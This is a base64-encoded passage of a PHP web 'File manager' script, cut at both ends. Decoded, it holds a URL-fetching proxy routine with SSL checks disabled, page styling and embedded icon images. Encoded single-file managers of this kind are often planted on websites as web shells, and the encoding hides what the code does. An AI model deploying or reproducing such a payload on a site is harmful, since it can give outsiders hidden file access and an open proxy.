9mb3JtPgo8L2Rpdj4KJzsKCWlmICgkdXJsKSB7CgkJJGNoID0gY3VybF9pbml0KCR1cmwpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdEZW4xeHh4IHRlc3QgcHJveHknKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUix0cnVlKTsKCQkkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgkJY3VybF9jbG9zZSgkY2gpOwoJCS8vJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnIyhzcmMpPVsiXCddW2h0dHA6Ly9dPyhbXjpdKilbIlwnXSNVaScsICdcXDE9IicuJHVybC4nL1xcMiInLCAkcmVzdWx0KTsKCQkkcmVzdWx0ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKGhyZWZ8c3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnZm1fdXJsX3Byb3h5JywgJHJlc3VsdCk7CgkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnJSg8Ym9keS4qPz4pJWknLCAnJDEnLic8c3R5bGU+Jy5mbV9ob21lX3N0eWxlKCkuJzwvc3R5bGU+Jy4kcHJveHlfZm9ybSwgJHJlc3VsdCk7CgkJZWNobyAkcmVzdWx0OwoJCWRpZSgpOwoJfSAKfQo/Pgo8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPiAgICAgCgk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4KICAgIDx0aXRsZT48Pz1fXygnRmlsZSBtYW5hZ2VyJyk/PjwvdGl0bGU+CjxzdHlsZT4KYm9keSB7CgliYWNrZ3JvdW5kLWNvbG9yOgl3aGl0ZTsKCWZvbnQtZmFtaWx5OgkJVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZToJCQk4cHQ7CgltYXJnaW46CQkJCTBweDsKfQoKYTpsaW5rLCBhOmFjdGl2ZSwgYTp2aXNpdGVkIHsgY29sb3I6ICMwMDY2OTk7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQphOmhvdmVyIHsgY29sb3I6ICNERDY5MDA7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9CmEudGg6bGluayB7IGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KYS50aDphY3RpdmUgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9CmEudGg6dmlzaXRlZCB7IGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KYS50aDpob3ZlciB7ICBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0KCnRhYmxlLmJnIHsKCWJhY2tncm91bmQtY29sb3I6ICNBQ0JCQzYKfQoKdGgsIHRkIHsgCglmb250Oglub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7CglwYWRkaW5nOiAzcHg7Cn0KCnRoCXsKCWhlaWdodDoJCQkJMjVweDsKCWJhY2tncm91bmQtY29sb3I6CSMwMDY2OTk7Cgljb2xvcjoJCQkJI0ZGQTM0RjsKCWZvbnQtd2VpZ2h0OgkJYm9sZDsKCWZvbnQtc2l6ZToJCQkxMXB4Owp9Cgoucm93MSB7CgliYWNrZ3JvdW5kLWNvbG9yOgkjRUZFRkVGOwp9Cgoucm93MiB7CgliYWNrZ3JvdW5kLWNvbG9yOgkjREVFM0U3Owp9Cgoucm93MyB7CgliYWNrZ3JvdW5kLWNvbG9yOgkjRDFEN0RDOwoJcGFkZGluZzogNXB4Owp9Cgp0ci5yb3cxOmhvdmVyIHsKCWJhY2tncm91bmQtY29sb3I6CSNGM0ZDRkM7Cn0KCnRyLnJvdzI6aG92ZXIgewoJYmFja2dyb3VuZC1jb2xvcjoJI0YwRjZGNjsKfQoKLndob2xlIHsKCXdpZHRoOiAxMDAlOwp9CgouYWxsIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7fQoKdGV4dGFyZWEgewoJZm9udDogOXB0ICdDb3VyaWVyIE5ldycsIGNvdXJpZXI7CglsaW5lLWhlaWdodDogMTI1JTsKCXBhZGRpbmc6IDVweDsKfQoKLnRleHRhcmVhX2lucHV0IHsKCWhlaWdodDogMWVtOwp9CgoudGV4dGFyZWFfaW5wdXQ6Zm9jdXMgewoJaGVpZ2h0OiBhdXRvOwp9CgppbnB1dFt0eXBlPXN1Ym1pdF17CgliYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsKCWN1cnNvcjogcG9pbnRlcjsKfQoKLmZvbGRlciB7CiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUtUMmxEUTFCUWFHOTBiM05vYjNBZ1NVTkRJSEJ5YjJacGJHVUFBSGphblZOblZGUHBGajMzM3ZSQ1M0aUFsRXR2VWhVSUlGSkNpNEFVa1NZcUlRa1FTb2dob2RrVlVjRVJSVVVFRzhpZ2lBT09qb0NNRlZFc0RJb0syQWZrSWFLT2c2T0lpc3I3NFh1amE5YTg5K2JOL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6L1NNQkFQaCtQRHdySXNBSHZnQUJlTk1MQ0FEQVRadkFNQnlIL3cvcVFwbGNBWUNFQWNCMGtUaExDSUFVQUVCNmprS21BRUJHQVlDZG1DWlRBS0FFQUdETFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRaWWhFQUdnN0FLelBWb3BGQUZnd0FCUm1TOFE1QU5ndEFEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkEvZzg4d0FBS0NSRlJIZ2cvUDllTTRPcnM3T05vNjJEbDh0NnI4Ry95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdC9xSWw3Z1JvWGd1Z2RmZUxacklQUUxVQW9PbmFWL053K0g0OFBFV2hrTG5aMmVYazVOaEt4RUpiWWNwWGZmNW53bC9BVi8xcytYNDgvUGYxNEw3aUpJRXlYWUZIQlBqZ3dzejBUS1VjejVJSmhHTGM1bzlIL0xjTC8vd2QweUxFU1dLNVdDb1U0MUVTY1k1RW1venpNcVVpaVVLU0tjVWwwdjlrNHQ4cyt3TSszelVBc0dvK0FYdVJMYWhkWXdQMlN5Y1FXSFRBNHZjQUFQSzdiOEhVS0FnRGdHaUQ0YzkzLys4Ly9VZWdKUUNBWmttU2NRQUFYa1FrTGxUS3N6L0hDQUFBUktDQktyQkJHL1RCR0N6QUJoekJCZHpCQy94Z05vUkNKTVRDUWhCQ0NtU0FISEpnS2F5Q1FpaUd6YkFkS21BdjFFQWROTUJSYUlhVGNBNHV3bFc0RGoxd0QvcGhDSjdCS0x5QkNRUkJ5QWdUWVNIYWlBRmlpbGdqamdnWG1ZWDRJY0ZJQkJLTEpDREppQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVQzVURMVkR1YWczR29SR29ndlFaSFF4bW84V29KdlFjclFhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUS9wSDVaL1lrR1djTk13MDlEcEZHZ3NWL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVkvUjI3aXoycXFhRTVRek5LTTFlelV2T1VaajhINDVoeCtKeDBUZ25uS0tlWDgzNkszaFR2S2VJcEc2WTBUTGt4WlZ4cnFwYVhsbGlyU0t0UnEwZnJ2VGF1N2FlZHByMUZ1MW43Z1E1Qngwb25YQ2RIWjQvT0JaM25VOWxUM2FjS3B4Wk5QVHIxcmk2cWE2VWJvYnRFZDc5dXArNllucjVlZ0o1TWI2ZmVlYjNuK2h4OUwvMVUvVzM2cC9WSERGZ0dzd3drQnRzTXpoZzh4VFZ4Ynp3ZEw4ZmI4VkZEWGNOQVE2VmhsV0dYNFlTUnVkRThvOVZHalVZUGpHbkdYT01rNDIzR2JjYWpKZ1ltSVNaTFRlcE43cHBTVGJtbUthWTdURHRNeDgzTXphTE4xcGsxbXoweDF6TG5tK2ViMTV2ZnQyQmFlRm9zdHFpMnVHVkpzdVJhcGxudXRyeHVoVm81V2FWWVZWcGRzMGF0bmEwbDFydXR1NmNScDdsT2swNnJudFpudzdEeHRzbTJxYmNac09YWUJ0dXV0bTIyZldGblloZG50OFd1dys2VHZaTjl1bjJOL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjYvdU51NXA3b2Zjbjh3MG55bWVXVE56ME1QSVErQlI1ZEUvQzUrVk1HdmZySDVQUTArQlo3WG5JeTlqTDVGWHJkZXd0NlYzcXZkaDd4Yys5ajV5bitNKzR6dzMzakxlV1YvTU44QzN5TGZMVDhOdm5sK0YzME4vSS85ay8zci8wUUNuZ0NVQlp3T0pnVUdCV3dMNytIcDhJYitPUHpyYlpmYXkyZTFCaktDNVFSVkJqNEt0Z3VYQnJTRm95T3lRclNIMzU1ak9rYzVwRG9WUWZ1alcwQWRoNW1HTHczNE1KNFdIaFZlR1A0NXdpRmdhMFRHWE5YZlIzRU56MzBUNlJKWkUzcHRuTVU4NXJ5MUtOU28rcWk1cVBObzN1alM2UDhZdVpsbk0xVmlkV0Vsc1N4dzVMaXF1Tm01c3Z0Lzg3Zk9INHAzaUMrTjdGNWd2eUYxd2VhSE93dlNGcHhhcExoSXNPcFpBVEloT09KVHdRUkFxcUJhTUpmSVRkeVdPQ25uQ0hjSm5JaS9STnRHSTJFTmNLaDVPOGtncVRYcVM3Skc4Tlhra3hUT2xMT1c1aENlcGtMeE1EVXpkbXpxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYS96WW5LT1phcm5pdk43Y3l6eXR1UU41enZuLy90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPL1BMaThaYWZKenMwN1AxU2tWUFJVK2xRMjd0TGR0V0hYK0c3UjdodDd2UFkwN05YYlc3ejMvVDdKdnR0VkFWVk4xV2JWWmZ0Sis3UDNQNjZKcXVuNGx2dHRYYTFPYlhIdHh3UFNBLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrKy9wM3ZkeTBOTmcxVmpaekc0aU53UkhuazZmY0ozL2NlRFRyYWRveDdyT0VIMHg5MkhXY2RMMnBDbXZLYVJwdFRtdnRiWWx1NlQ4dyswZGJxM25yOFI5c2ZENXcwUEZsNVN2TlV5V25hNllMVGsyZnl6NHlkbFoxOWZpNzUzR0Rib3JaNzUyUE8zMm9QYisrNkVIVGgwa1gvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284L3BQVFQ4ZTduTHVhcnJsY2E3bnVlcjIxZTJiMzZSdWVOODdkOUwxNThSYi8xdFdlT1QzZHZmTjZiL2ZGOS9YZkZ0MStjaWY5enN1NzJYY243cTI4VDd4ZjlFRHRRZGxEM1lmVlAxdiszTmp2M0g5cXdIZWc4OUhjUi9jR2hZUFAvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUYvNmkvc3V1RnhZdmZ2alY2OWZPMFpqUm9aZnlsNU8vYlh5bC9lckE2eG12MjhiQ3hoNit5WGd6TVY3MFZ2dnR3WGZjZHgzdm85OFBUK1I4SUg4by8yajVzZlZUMEtmN2t4bVRrLzhFQTVqei9HTXpMZHNBQUFBR1lrdEhSQUQvQVA4QS82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmY0NBd0dNaGxlR0FLT0FBQUJ5RWxFUVZRNHk4V1RUMnNVUVJERmY5WFRNK1BHSUJIZEVFUVI4ZUFmZ2dhUEh2VHV5VStpK0EzOEFGNDhlZkpiS0I1ekUwSU1BVmNDaVJoUUU4Z21tMTExczltWjNabCtIbWF5NXFBWThHQkRkVFdQZW85SFZSZjg3Mk85eFZ2My9KbnJDeWdJVTQwNksvcWJyYlAzVnhiL3FqRDgrT1NOdEMrVlg2UmlVeXJXcFhKRDJhZW5meVIzWHM5TjNoNXJGSXc2RUFZUXhzQUlLTUZ4K2NmU2cwZG1GaytxSmFReUd1MHR2d1QyS3dFWmhBTlFXWkdWZzNMUzgzZXVwTTJGNXlpRGtFOXdEUFo3NjJ2UWZWVUpoSUtRN1REYVc4VGlhY0NPMmxObmQ2eGpsWXZwbTQ5ZjVGdU5aK1hCeHBvbjVCVGZXcVN6TjRBRUxBRkxxK3dTYklMRmRYZ2d1b2liVWo3K3Z1MFJLRzlqZVlIazZ1SUVYSW9zUVpaaU5XWXVRU1FRVFdGdVlFVjNhY1hUZndkeGl0S3JRQXd1bVlpWU8zSnpDa1ZUeURXd3NnK0RWWlI5WU5UTDNucU5Ebkh4TkJxMmYxbWMySTFBZ25BSVJSZkdiVlFPYW1lbnlRN2F5NzRzSTN6K0ZXV0g5YWlPcmxDRkJPYXFxTG9JeWlqdytZV0hXOXUrQ0tiR3NJYzAvczJYMGJGcEhNTlVFdUtaVlFDLzJ4MG1NMDBQOGlkZkFBZXR6MkVUd0c1ZmE4N1Bub3N1aFlCT3lvOGN0dE1KVys4M2Rsdi90SWwzRitiNENZeXAyVHh3MlZVd0FBQUFBRWxGVGtTdVFtQ0MiKTsKfQoKLmZpbGUgewogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTVRnNVhFRVRBQUFCOGtsRVFWUTR5M1dTTVcvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsL0FURXdJUEV6a0ZpWVlHUmx5TXlHeE1MRXhGaEJ5eTlBQ0FhYTBnWW5Eb2w5eDlEWWlWczQ2ZFBuay93Kzk5NzNuZ0RKL3Y3Kyt5QUlDaitmSTBIQS81WnpEdTg5emptT2pvNnlmci8vd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeS93ZzZkSXRJYUlBR0FCVGs1T1NKSUU5UjRBRVVGVmNjN1ZQZjkyd1BidGxIejNDUnQranFwU08yaTMyOFJ4WE50ZWhZZ0lwclhPK09OenJsMytndEVBRVcwQ2hzTWhXWlkxN2w1RGpPWDAweHV1N296NUVUM2tVbWVqQnRlQVRxZERITWV3RUs5Q1BEQS9mTVZzNnhhYjIzdG5JdjJIZy9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZS9SM2VuaEVVU1dWUU5Hb3hGNW51Tlh4S0tHcndmdkNIYnY0Szg4d21pSjZuS3dqUmlqS01JWVF6bWZJNHZvUklRaTN1WjM5ejVibTUwemFIWHE0djQxWURxZGdnaFNsb2h6QU15bU9kZHY3bUdNVUpabEk5WnF3RTBIcW9pMUYxNWhKVnJ0Q3hlK0FrZ1loZ1RXSXNaZ29nZ1J3VnA3WVdDcnl4aWpGV0F5R0F5ZUlWS29jeUxXMW8rbzZ1Y0w4SG1lejREeFgrOGRBTEc3TWVWVUFBQUFBRWxGVGtTdVFtQ0MiKTsKfQo8Pz1mbV9ob21lX3N0eWxlKCk/PgouaW1nIHsKCWJhY2tncm91bmQtaW1hZ2U6IAp1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLL0lOd1dLNlFBQUFkRlFURlJGN2UzdC9mMzlwSitmK2NKYWpWOHE2ZW5wa0dJbS9zRk8vKzJPMzkzYzV1Ym0vc3hiZDI5eWltZG5lRmc2NU9UazJ6b1k2dUhpMXpBUzFjckpzSHMybnlnbzNOcmIyTEJYcll0bTJwNUEvK2hYcG9ScXBLT2t3cmk0Nit2cjBNRzM2WXN6NnVqcG1JNkFuelV5d0wrL21YVlNtSUJOOGJ3d2oxVkJ5TEd6YTFaSjBORFFqWVNCLzlOandaNkN3VUFzeGswYnJaeVd3N3BtR1o0QTZMdGRrSGRmLytOOHlvdzI3YjVXODdSTkxaTC8yYmlQN3dBQS8vR0psNWVYNE5mWXNhYUxncDZoMWIrdC8rNlI2OEZlODl5Y2ltWmQvdVF2M3I5TnVwQ0I5OVYyNWExY1ZKYmJuSGhPLzh4UytNQmE4ZkR3aTJKaTQ4cWkvK3FPZFZJenMzNHgvL0dPWEl6WXA1U1Avc3hncXBpSWNwKy9zaVFwY21wc3RheXN6U0FOdUtLVDlQVDA0dUxpd0lreThMZEUrc1ZXdnFhbThlL3ZMNUlaK3JsSDhjTmcwOE